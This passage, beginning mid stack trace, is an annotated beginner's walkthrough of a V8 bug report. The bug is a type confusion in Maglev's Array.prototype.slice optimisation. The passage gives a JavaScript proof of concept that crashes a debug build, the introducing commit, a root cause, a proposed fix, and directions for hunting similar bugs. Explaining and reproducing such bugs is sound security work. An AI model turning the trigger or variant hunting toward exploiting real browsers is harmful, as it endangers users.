/lib/x86_64-linux-gnu/libc.so.6(clone+0x43) [0x7f8dbecb4353]
Trace/breakpoint trap
Line by line, in plain words:
- The first lines are the fatal error header. It says the error happened in the file
../../src/maglev/maglev-ir.ccat line 630. The.ccextension is a C++ source file, the language V8 is written in. - The key line is the type representation error: node #95 is a
CallBuiltinwhose input @0 is aLoadHoleyFixedDoubleArrayElementwith typeHoleyFloat64, but the input is expected to beTagged. A node is one step in the compiler's internal graph, and #95 is simply its number.CallBuiltinis the step that calls a builtin routine. Input @0 is its first argument.LoadHoleyFixedDoubleArrayElementis a step that reads one element out of a special kind of array that stores decimal numbers and may contain empty slots ("holes").HoleyFloat64is the label for the kind of value that step produces: a decimal number that might be a hole.Taggedis the label for a full object reference. The engine is saying: this step was given a number where it needed an object. - The
FailureMessage Objectline shows the memory address of the internal message object. Addresses like this are not meaningful to a reader and are just diagnostic detail. - The
C stack traceis the list of function calls that were active when the error happened, from the innermost call at the top to the outermost at the bottom. Reading it from the top: the error was raised byCheckValueInputIs, called byCallBuiltin::VerifyInputs(), called byMaglevGraphVerifier::Process<...CallBuiltin>, and so on. Further down you can seeRunMaglevOptimizationsandTurbolevGraphBuildingPhase::Run, which confirms the failure happened while Turbolev was building its graph from Maglev's output. The paths contain a home directory and library file names; these are build details, not part of the bug. - The last line,
Trace/breakpoint trap, is the operating system's description of how the process stopped: the debug build deliberately halted itself.
The report notes that this crash is only reproducible in the debug version of V8.
Exploitation
This heading in the original means "how the researcher triggered the bug", not "how an attacker would abuse it". The report describes a reproduction, not an attack.
Step 1: Run the reproduction case
The researcher provides the following JavaScript snippet and instructs that it be run with the debug version of V8 using the --jit-fuzzing and --turbolev flags. With those two flags the crash appears sometimes; adding --turboshaft-assert-types makes it trigger reliably.
for (let i1 = 100; i1; --i1) {
}
function f5(a6) {
for (let v7 = 0; v7 < 5; v7++) {
}
a6.slice();
function f9(a10) {
a10.forEach(f5);
return a10;
}
f9([,1.1]);
return f5;
}
for (let v16 = 0; v16 < 25; v16++) {
const v17 = [f5];
try { f5(v17); } catch (e) {}
}
Line by line, in plain words:
for (let i1 = 100; i1; --i1) { }is an empty loop that counts down from 100. It does nothing except run. It is like jogging before a race to get the engine's attention.function f5(a6) {starts the definition of a function namedf5that takes one argument, calleda6inside the function. A function is a named block of code you can run by calling its name.for (let v7 = 0; v7 < 5; v7++) { }is another empty loop, running five times.a6.slice();calls theslicemethod ona6. This is the call that theTryReduceArrayPrototypeSliceoptimisation is meant to rewrite intoBuiltin::kCloneFastJSArray. The result is thrown away; the point is to make the optimiser see this call.function f9(a10) {defines a nested functionf9insidef5, taking an argumenta10.a10.forEach(f5);callsforEachona10, passingf5as the function to run for each element.forEachis a standard JavaScript method that visits every element of an array in turn. Here it means: for each element ofa10, callf5with that element.return a10;returns the array unchanged.f9([,1.1]);callsf9with a special array literal. The comma with nothing before it creates a hole: an empty slot. The second element is the decimal number1.1. So this array has a hole in position 0 and the number 1.1 in position 1. This is theHOLEY_DOUBLE_ELEMENTSarray mentioned later: an array of decimal numbers that contains a gap.return f5;makesf5return itself.for (let v16 = 0; v16 < 25; v16++) {is the outer loop, running 25 times.const v17 = [f5];creates an array containing the functionf5itself. This is thePACKED_ELEMENTSarray: an array with no holes, holding object references.try { f5(v17); } catch (e) {}callsf5with that array, wrapped in atry/catch. Atry/catchblock means: attempt this code, and if it throws an error, catch it and carry on. The catch block is empty, so any error is silently ignored.
The snippet has several parts that matter for the bug:
- A warm-up loop
for (let i1 = 100; i1; --i1) {}runs before the interesting code. - The function
f5(a6)contains an empty loop, then callsa6.slice(). - Inside
f5, a nested functionf9(a10)callsa10.forEach(f5)and returnsa10. f5invokesf9([,1.1]), which creates a holey double array (the first element is a hole, the second is the double1.1).- The outer loop calls
f5(v17)25 times, wherev17is[f5], an array containing the function itself. The call is wrapped intry { ... } catch (e) {}.
Step 2: Observe the crash
Running the snippet in the debug build with the flags produces the fatal error quoted above. The crash is a Trace/breakpoint trap after the fatal error message. The report stresses that the crash is only reproducible in the debug version of V8.
Step 3: Bisect to the introducing commit
Bisecting is a technique for finding which code change introduced a bug. You take the history of the project, which is a long sequence of saved versions, and repeatedly test the middle one: if the bug is present there, it was introduced earlier; if not, later. Each test halves the remaining range, like guessing a number between 1 and 100 by always asking "higher or lower" about the midpoint. Eventually you land on the exact change.
The researcher bisected the bug and reports that it was introduced in the commit that implemented Array.prototype.slice for Maglev and Turbolev:
- Commit message:
[maglev, turbolev] Implement array.prototype.slice - Revision:
ebcd571a1d1 - Revision number:
101590 - Link:
https://chromium.googlesource.com/v8/v8/+/ebcd571a1d1%5E%21/#F2
The full commit hash is given later in the report as [redacted].
In plain words: the report says the bug was introduced in this change, which implemented the slice optimisation.
Step 4: Analyse the crash
The report explains the crash as a type representation mismatch in Maglev's intermediate representation. The CallBuiltin node for Builtin::kCloneFastJSArray receives an input with HoleyFloat64 representation when it expects Tagged representation.
During graph verification, CallBuiltin::VerifyInputs() checks that all inputs match the expected types specified by the builtin's call interface descriptor. A call interface descriptor is the builtin's own written-down contract: a list saying what kind of value each argument must be. The CloneFastJSArray builtin expects its source parameter to be MachineType::AnyTagged(), which corresponds to ValueRepresentation::kTagged in Maglev. MachineType::AnyTagged() is the engine's way of saying "any properly labelled object reference". The actual input is a LoadHoleyFixedDoubleArrayElement node, which produces ValueRepresentation::kHoleyFloat64, a special representation for loading double values from holey arrays that can contain holes.
The report states the fundamental issue: the optimisation incorrectly passes a non-tagged value (an array element loaded from a double array) where a tagged object (the array itself) is expected. This happens because the receiver value somehow becomes confused with, or replaced by, an element loaded from an array during optimisation passes. The word receiver here means the object on which a method is called: in a6.slice(), the receiver is a6.
An everyday comparison: imagine a form that asks for "the folder" and someone hands over "a single sheet of paper from inside the folder". The form's instructions say folder; the item is paper. The clerk checking the form (the verifier) spots the mismatch and stops the process.
Step 5: Analyse the introducing commit
The bug was introduced in commit [redacted], which implemented the TryReduceArrayPrototypeSlice optimisation for Maglev. The report says the implementation follows a similar pattern to other array builtin optimisations such as TryReduceArrayPrototypeAt, but appears to contain a critical missing validation step. While it checks that the receiver has possible maps that support fast array iteration and validates the start and end parameters, it fails to verify that the receiver itself has the correct type representation before passing it to BuildCallBuiltin.
A map in V8 is an internal description of an object's shape: which properties it has, what kind of elements its array part holds, and so on. Two arrays with the same map are laid out the same way in memory. "Possible maps that support fast array iteration" means the optimiser checked that the receiver could be one of a set of array shapes it knows how to handle quickly. BuildCallBuiltin is the helper that inserts the call to the builtin into the graph.
Other similar optimisation functions in the same file, such as TryReduceArrayPrototypeEntries, include an explicit check to ensure the receiver is a JSReceiver before proceeding. A JSReceiver is V8's internal name for anything that can have properties and methods, that is, an object in the JavaScript sense. That check is absent from TryReduceArrayPrototypeSlice, allowing the optimisation to proceed even when the receiver has an incompatible representation.
In everyday terms: several clerks in the same office have a rule that says "before accepting a parcel, confirm it is a parcel". The new clerk was trained on the same manual but the page with that rule was missing, so they accepted whatever was handed over.
Step 6: Walk through the PoC
A PoC, or proof of concept, is a small piece of code that demonstrates a bug exists. The report describes how the PoC triggers the bug through complex control flow involving inlining, nested function calls and polymorphic receiver types. Control flow means the order in which the program moves from one step to another. Inlining means the optimiser takes the body of a called function and pastes it into the caller, removing the cost of a call. Polymorphic means "many shapes": a call site that has seen receivers of more than one type.
- The outer loop calls
f5([f5])repeatedly, where the receiver is an array of functions withPACKED_ELEMENTSkind.PACKED_ELEMENTSmeans an array with no holes whose elements are object references. - Inside
f5, it callsa6.slice()and then defines and invokesf9([,1.1]), which creates aHOLEY_DOUBLE_ELEMENTSarray.HOLEY_DOUBLE_ELEMENTSmeans an array of decimal numbers that contains at least one gap. - The
forEachcall on this array invokesf5recursively with each element: first withundefined(converted from the hole), then with the double value1.1. Recursively means the function ends up calling itself, directly or indirectly.
During optimisation, when Maglev tries to inline these calls, it encounters multiple call sites to f5 with different receiver types. The compiler must create phi nodes to merge control flow paths where the receiver could be:
- The original array
[f5](Tagged,PACKED_ELEMENTS). - Elements from the double array (potentially
HoleyFloat64for double elements).
A phi node is a way for the compiler's graph to say "the value here depends on which path we arrived by". If two roads meet at a junction, the phi node is the junction sign that says "traffic from the left is cars, traffic from the right is bicycles". The compiler then has to track that the value at the junction could be either kind.
The bug manifests when a phi node or value numbering incorrectly merges or aliases the receiver parameter with a LoadHoleyFixedDoubleArrayElement node from an inlined forEach iteration. Value numbering is an optimisation that gives the same label to values it believes are identical, so it only computes them once. Aliases means two different names end up pointing at the same thing. When TryReduceArrayPrototypeSlice attempts to optimise the a6.slice() call, it receives this incorrectly typed value node and passes it directly to BuildCallBuiltin<Builtin::kCloneFastJSArray>({receiver}) without validating its representation. The verification phase then catches this type error when CallBuiltin::VerifyInputs() discovers that input @0 has HoleyFloat64 representation instead of the required Tagged representation.
Root cause
The root cause is the underlying reason the bug exists, as opposed to the symptom you see. Here, the root cause is a missing type check in TryReduceArrayPrototypeSlice. The optimisation validates that the receiver has possible maps that support fast array iteration and validates the start and end parameters, but it does not verify that the receiver itself has the correct type representation before passing it to BuildCallBuiltin. Comparable optimisations in the same file, such as TryReduceArrayPrototypeEntries, include an explicit check that the receiver is a JSReceiver. That check is absent here.
As a result, when the receiver value at the slice() call site is a phi node or value that has been merged with a LoadHoleyFixedDoubleArrayElement from an inlined forEach iteration, the optimisation passes a HoleyFloat64 value to Builtin::kCloneFastJSArray, which expects MachineType::AnyTagged() (that is, ValueRepresentation::kTagged). The Maglev graph verifier catches the mismatch in debug builds and aborts.
It says the missing check is the one that other optimisations have.
Impact
Impact means the practical effect of the bug: what can go wrong, for whom, and how badly. The report describes a type confusion in V8's Maglev intermediate representation, classified as high severity, with a bounty of 11,000 USD. The observable effect in the report is a fatal error and Trace/breakpoint trap in the debug build of V8 when the PoC is run with --jit-fuzzing and --turbolev, and reliably with --turboshaft-assert-types added.
Any impact beyond the debug-build crash is not stated in the original.
This is worth pausing on for a beginner. A high severity rating and a large bounty can sound like "the internet is on fire". What the report actually documents is the engine's own safety net catching a mistake during development. Whether the same mistake could be turned into something harmful in the release build is a question the report leaves open; it simply does not say.
Fix
The report proposes a fix rather than describing one that was applied. The suggested fix is to add an explicit type check for the receiver at the beginning of TryReduceArrayPrototypeSlice, following the pattern used by other array prototype optimisations in the same file. Specifically, after obtaining the receiver value, the function should call CheckType(receiver, NodeType::kJSReceiver) and return early if the check fails.
In plain words: before the fast path does anything, ask "is this thing actually an object?" If the answer is no, give up on the fast path and let the normal, slower code handle it. CheckType is the helper that asks the question, NodeType::kJSReceiver is the answer being tested for, and "return early" means leave the function immediately instead of continuing.
Variants to test
A variant is a related version of the same test, used to see whether the same weakness appears elsewhere. The report does not list variants. The following are concrete directions suggested by the details in the report, each with what a positive result would look like.
- Test other Maglev array builtin reductions that call
BuildCallBuiltinwith a receiver, such as the reductions mentioned in the report (TryReduceArrayPrototypeAt,TryReduceArrayPrototypeEntries), for missing receiver representation checks. A positive result is a debug-build fatal error inCallBuiltin::VerifyInputs()reporting a representation mismatch for an input to the builtin. - Construct call sites where the same function is inlined with receivers of different element kinds, for example a packed elements array and a holey double elements array, and where the receiver is used in a builtin-reduced call. A positive result is a phi node merging a tagged receiver with a
LoadHoleyFixedDoubleArrayElementvalue, followed by a verifier failure. - Run the same PoC with
--turboshaft-assert-typesadded to the flags to check whether the crash becomes deterministic, as the report states it does. A positive result is a reliable fatal error instead of an intermittent one. - Vary the warm-up loop and the outer loop counts in the PoC to see how the crash frequency changes with the two original flags. A positive result is a change in how often the fatal error appears, consistent with the report's statement that the crash appears sometimes without
--turboshaft-assert-types. - Test the same pattern with other builtins that take a tagged source object and are reached through Maglev reductions, to see whether the same missing representation check pattern exists elsewhere. A positive result is a verifier failure naming a different builtin and a non-tagged input representation.
Reporter credit in the original: @streypaws.
Glossary
- API: Application Programming Interface; a defined set of functions one piece of software offers to another, like a menu of services with rules about what you may order.
- Array: an ordered list of values in JavaScript, written with square brackets, for example
[f5]. - Array.prototype.slice: the standard JavaScript method that returns a shallow copy of an array.
- Bisect: to find the code change that introduced a bug by repeatedly testing the middle of the version history and halving the range.
- Bounty: a payment made by a company to someone who reports a valid security bug.
- Builtin: a ready-made internal routine inside the engine, such as
Builtin::kCloneFastJSArray. - Call interface descriptor: the written contract for a builtin listing the expected type of each argument.
- Chrome VRP: Google Chrome's Vulnerability Reward Program, the scheme through which this bug was reported.
- Commit: a saved change to a source code project, identified by a hash.
- Commit hash: a long string that uniquely identifies one commit, for example
[redacted]. - Control flow: the order in which a program moves from one step to another.
- CVE: Common Vulnerabilities and Exposures; a public identifier for a known security issue, here CVE-2025-13630.
- Debug build: a version of software compiled with extra internal checks, used by developers, slower than the release build.
- Flag: a command-line switch that changes how a program behaves when it starts, for example
--turbolev. - forEach: a standard JavaScript array method that runs a given function once for each element.
- Function: a named block of code that can be run by calling its name.
- Graph verification: the engine checking its own internal graph of steps for consistency before using it.
- Hole: an empty slot in a JavaScript array, created for example by
[,1.1]. - HoleyFloat64: Maglev's label for a value that is a decimal number which might be a hole.
- HOLEY_DOUBLE_ELEMENTS: V8's description of an array of decimal numbers that contains at least one hole.
- Impact: the practical effect of a bug: what can go wrong, for whom, and how badly.
- Inlining: the optimiser pasting the body of a called function into the caller to avoid the cost of a call.
- Intermediate representation (IR): a half-way form of a program used inside a compiler, between source text and machine instructions.
- JavaScript: the programming language that web pages use for interactive behaviour, run by the browser's engine.
- JSReceiver: V8's internal name for anything that can have properties and methods, that is, an object in the JavaScript sense.
- Linux: a family of open-source operating systems; the one used for this test.
- MachineType::AnyTagged(): the engine's way of saying a value must be any properly labelled object reference.
- Maglev: V8's optimising compiler stage that rewrites frequently used functions into a faster form.
- Map: V8's internal description of an object's shape, such as which properties it has and what kind of elements its array part holds.
- Node: one step in the compiler's internal graph, identified by a number such as #95.
- Optimisation: the process of rewriting code so it runs faster while behaving the same.
- PACKED_ELEMENTS: V8's description of an array with no holes whose elements are object references.
- Phi node: a graph step that says a value depends on which path the program arrived by, like a junction sign.
- Pipeline: a fixed sequence of processing stages in a compiler.
- PoC (proof of concept): a small piece of code that demonstrates a bug exists.
- Polymorphic: describing a call site that has seen receivers of more than one type.
- Receiver: the object on which a method is called; in
a6.slice(), the receiver isa6. - Recursion: when a function ends up calling itself, directly or indirectly.
- Release build: the version of software shipped to ordinary users, without the extra debug checks.
- Root cause: the underlying reason a bug exists, as opposed to the symptom you observe.
- Severity: a rating of how serious a bug is, here high.
- Shallow copy: a copy that holds references to the same element values rather than deep-copying objects inside.
- Tagged: V8's term for a full, properly labelled object reference that the engine can identify and check at runtime.
- Tip of tree (ToT): the very latest code in a project at the time, not an older release.
- Trace/breakpoint trap: the operating system's description of a process deliberately halting itself.
- Turbolev: the V8 pipeline that builds Turboshaft graphs from Maglev's output.
- Turboshaft: a later compiler stage in V8 that Turbolev feeds.
- Type: the kind of a value, such as a number, text, object or array.
- Type confusion: a bug where a program treats a value as one type while it is really another.
- Value numbering: an optimisation that gives the same label to values it believes are identical so they are computed only once.
- V8: the JavaScript engine used by Google Chrome.
- Variant: a related version of a test, used to check whether the same weakness appears elsewhere.
- Verifier: the part of the engine that checks the internal graph for consistency.
- Warm-up loop: a loop that runs before the interesting code to encourage the engine to optimise it.